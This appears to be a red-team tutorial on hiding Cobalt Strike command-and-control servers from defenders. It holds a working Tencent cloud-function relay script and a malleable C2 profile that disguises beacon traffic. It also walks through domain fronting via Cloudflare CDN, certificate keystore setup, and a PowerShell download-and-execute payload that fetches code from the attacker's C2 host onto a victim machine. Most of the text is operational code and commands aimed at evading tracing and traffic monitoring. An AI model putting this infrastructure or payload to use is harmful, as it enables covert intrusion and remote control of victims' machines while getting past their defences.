Advanced Techniques for Using Cobalt Strike: Evasion Tactics with Cloud Functions & Domain Fronting

0x01 Cloud Functions: Cobalt Strike

Introduction

Cloud Functions (Serverless Cloud Function, SCF) are mainly provided to enterprises and developers as a serverless execution environment, enabling code to run without purchasing and managing servers. Developers only need to write core code using supported platform languages and set up conditions for code execution to flexibly and securely run the code on cloud infrastructure.

By using cloud functions, one can hide effectively due to their multi-regional deployment mode, where each request switches to a different IP address. Although the default access domain may still be acquired by defenders, they generally cannot obtain our personal information directly from Tencent Cloud via API. Therefore, we can utilize the characteristics of cloud functions to hide the CS server.

Creating Cloud Functions with Cobalt Strike

Create a custom cloud function on a certain cloud platform and set the function name as follows:

Cobalt Strike

Write the server-side script for the cloud function

# coding: utf8
import json, requests, base64
def main_handler(event, context):
    response = {}
    path = None
    headers = None
    try:
        # Modify the address based on your cloud server
        C2='http://x.x.x.x:80'
        if 'path' in event.keys():
            path=event['path']
        if 'headers' in event.keys():    
            headers=event['headers']
        if 'httpMethod' in event.keys() and event['httpMethod'] == 'GET':
            resp=requests.get(C2+path,headers=headers,verify=False) 
        else:
            resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
            print(resp.headers)
            print(resp.content)
        response={
            "isBase64Encoded": True,
            "statusCode": resp.status_code,
            "headers": dict(resp.headers),
            "body": str(base64.b64encode(resp.content))[2:-1]
        }
    except Exception as e:
        print('error')
        print(e)
    finally:
        return response
Cobalt Strike

Screenshot 2021-12-23 3:00:27 AM

Configure the trigger and select API Gateway Trigger, with other settings as follows:

Edit the API and change the path to /, then publish the service after modification

Testing C2 Server with Cobalt Strike

Customize a malleable C2 on the CS server to disguise traffic. Malleable C2 mainly involves modifying the C2 configuration file and changing the attributes and behavior of the beacon to simulate normal communication traffic.

set sample_name "func";
set sleeptime "3000";
set jitter    "0";
set maxdns    "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

http-get {

    set uri "/api/x";

    client {
        header "Accept" "*/*";
        metadata {
            base64;
            prepend "SESSIONID=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Server" "Nodejs";
        output {
            base64;
            print;
        }
    }
}
http-stager {  
    set uri_x86 "/vue.min.js";
    set uri_x64 "/bootstrap-2.min.js";
}
http-post {
    set uri "/api/y";
    client {
        header "Accept" "*/*";
        id {
            base64;
            prepend "JSESSION=";
            header "Cookie";
        }
        output {
            base64;
            print;
        }
    }

    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Connection" "keep-alive";
        output {
            base64;
            print;
        }
    }
}

After creation, name it api.profile and start the server via teamserver

./teamserver x.x.x.x xxx api.profile

C2 Online: Cobalt Strike

In the cloud function service, find the default API access address, noting that this address is key to the operation of cloud functions.

Create a listener in the CS client named cs_hidden, and set the return address to the default API access address service-xxxx-xxx.xx.xx.tencentcs.com

Generate the corresponding Trojan and set the listener as cs_hidden that was just created

After execution, CS can be successfully connected online. If the external internet address continues to change, it indicates the successful utilization of cloud functions

Requests that have been successfully invoked can be traced in the cloud function’s logs

Attempt to place the Trojan in Weibu Cloud Sandbox for detection. Another host has appeared on our CS

In the Weibu Cloud Sandbox, it clearly shows that the request’s domain name is a Tencent Cloud domain, and the IP address is Tencent Cloud’s IDC server, not our actual CS server’s IP address, indicating the CS server is successfully hidden.


0x02 CDN and Domain Fronting

Introduction to Domain Fronting

Domain fronting is a generic HTTPS-based circumvention technique known as domain fronting network technology. It is primarily used to hide traffic from servers controlled by teams using tools like Metasploit and Cobalt Strike, thus bypassing inspection or firewall detection to some extent. Large vendors such as Amazon, Google, and Akamai typically offer domain fronting services.

Similar to cloud functions, domain fronting primarily redirects traffic through CDN nodes to the actual C2 server. CDN node IPs identify and forward traffic based on Host headers of requests. By leveraging our configured domain’s high trustworthiness, effective evasion of DLP, agent, and other traffic monitoring can be achieved.

Introduction to CDN

The core of domain fronting is CDN, which functions by binding a single IP with different domain names for website acceleration. For example, if there exist two domain names, www.a.com and www.b.com, both pointing to the same IP, which is actually the CDN server. When visiting these domains using a browser, how do we ensure access to targeted website content? We can add the domain to the Host header in the HTTP request package to locate the targeted website.

If unclear, we can demonstrate with a real case, assuming 1.1.1.1 as the CDN server and www.a.com along with www.b.com as the domains on this server, both having CDN acceleration.

First, use the curl command to request www.a.com and successfully return the information of the target site

curl www.a.com -v 

Screenshot 2022-04-12 04:49:45

Next, try requesting the CDN server and observe the result, which returns 403

curl 1.1.1.1 -v

Screenshot 2022-04-12 04:53:15

However, by simply adding the Host header, we can access the content of www.a.com

curl 1.1.1.1 -H "Host: www.a.com" -v

Screenshot 2022-04-12 04:53:49

Environment Setup

The setup can be configured as follows, costing approximately 6 USD overall

  • Cloud server
  • Cobalt Strike 4.3
  • Cloudflare CDN acceleration
  • Domain

Domain purchase URL: https://porkbun.com

Cloud server purchase URL: https://my.vultr.com

CDN registration URL: https://www.cloudflare.com

Purchase Server

Register an account on vultr. After registration, I chose to bind PayPal, which took about a day for account verification. Alternatively, AliPay or a credit card can be used for binding if PayPal is unavailable.

When binding is complete, a new account receives a $150 reward, allowing you to select your preferred configuration and deploy a cloud server. The IP address of the successfully deployed server is 2.2.2.2

Purchase Domain

Register an account on porkbun and successfully purchase a new domain, xxx.xyz

Configure CDN

Bind the purchased domain in Cloudflare, indicating the need to modify the DNS records for that domain

Modify domain name servers as follows:

jake.ns.cloudflare.com
magdalena.ns.cloudflare.com

Screenshot 2022-04-19 03:04:18

Once modified, wait for Cloudflare to re-propagate until the following screen indicates successful CDN deployment

Add DNS records as follows, while also

A c2 2.2.2.2
A xxx.xyz 2.2.2.2

Screenshot 2022-04-19 11:19:15

Test if the CDN node can now be parsed and successfully resolved to indicate that everything is going smoothly

curl 172.67.175.223 -H "Host: xxx.xyz" -v

Screenshot 2022-04-19 11:29:56

While in Cloudflare, enable SSL and set the SSL/TLS encryption mode to full

Create an SSL/TLS certificate, with detailed configuration as follows

Clicking create successfully generates the corresponding original certificate and private key

Testing C2 Server with Cobalt Strike

Customize malleable C2 on the cloud server to configure the certificate. Use OpenSSL to create a PFX file, spoofdomain.p12, with CDN’s SSL/TLS original certificate and private key

openssl pkcs12 -export -in cloudflare.pem -inkey cloudflare.key -out spoofdomain.p12 -name c2.xxx.xyz -passout pass:macmacmac

Keytool is a Java data certificate management tool. Use it to store the generated PFX file containing keys and certificates in the keystore file, new.store

keytool -importkeystore -deststorepass macmacmac -destkeypass macmacmac -destkeystore new.store -srckeystore spoofdomain.p12 -srcstoretype PKCS12 -srcstorepass macmacmac -alias c2.xxx.xyz

Screenshot 2022-04-20 16:38:13

Tool Download URL: https://github.com/FortyNorthSecurity/C2concealer

C2concealer is a command-line tool that randomly generates C2 malleable profiles for CS. If not installed, use the following command for installation

chmod u+x install.sh
./install.sh

Screenshot 2022-04-20 16:46:02

Use C2concealer to generate a CS configuration file

C2concealer --variant 1 --hostname c2.xxx.xyz
# Select steps
1.3
2./root/CS4.3/new.store
3.Enter username and password

Screenshot 2022-04-20 16:49:25

Successfully generates a configuration file with a random number, which can be copied to the CS directory and renamed test.profile

cp 56069b6a.profile /root/CS4.3/test.profile
cd /root/CS4.3/
ls

Screenshot 2022-04-20 16:51:58

Use c2lint to check this configuration file

chmod +x c2lint
./c2lint test.profile

Screenshot 2022-04-20 16:53:33

Modify the teamserver configuration; it’s advisable to change the default CS port 50050 as well

vim teamserver
# Configuration modification
javax.net.ssl.keyStore=./new.store
-Djavax.net.ssl.keyStorePassword=macmacmac

Screenshot 2022-04-20 17:49:49

Start the teamserver and load the configuration file test.profile

./teamserver 2.2.2.2 macmacmac test.profile

C2 Online: Cobalt Strike

Create an HTTPS listener in the CS client

Configure a web service with SSL, selecting PowerShell as the payload type

Successfully generate the PowerShell version of the payload

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('https://c2.xxx.xyz:443/test'))"

Execution on the target machine successfully connects online. Meanwhile, external addresses continually change with each request, significantly reducing the likelihood of defenders tracing the C2 server’s IP address.

Successfully execute commands within CS, and capture data packets on the victim machine using WireShark

In WireShark, all traffic shows as TLS encrypted, with destination addresses as random CDN nodes, hence preventing tracing back to the real IP of our C2 server

0x03 Conclusion

Through studying traffic encryption these past days, I found that network attack and defense constantly pivot, much like CDN’s initial design primarily intended to protect the real IP of websites. Attackers can also use it to protect their C2 servers. Moreover, RSA certificates generated with OpenSSL, besides authentication, help attackers encrypt traffic and conceal communication.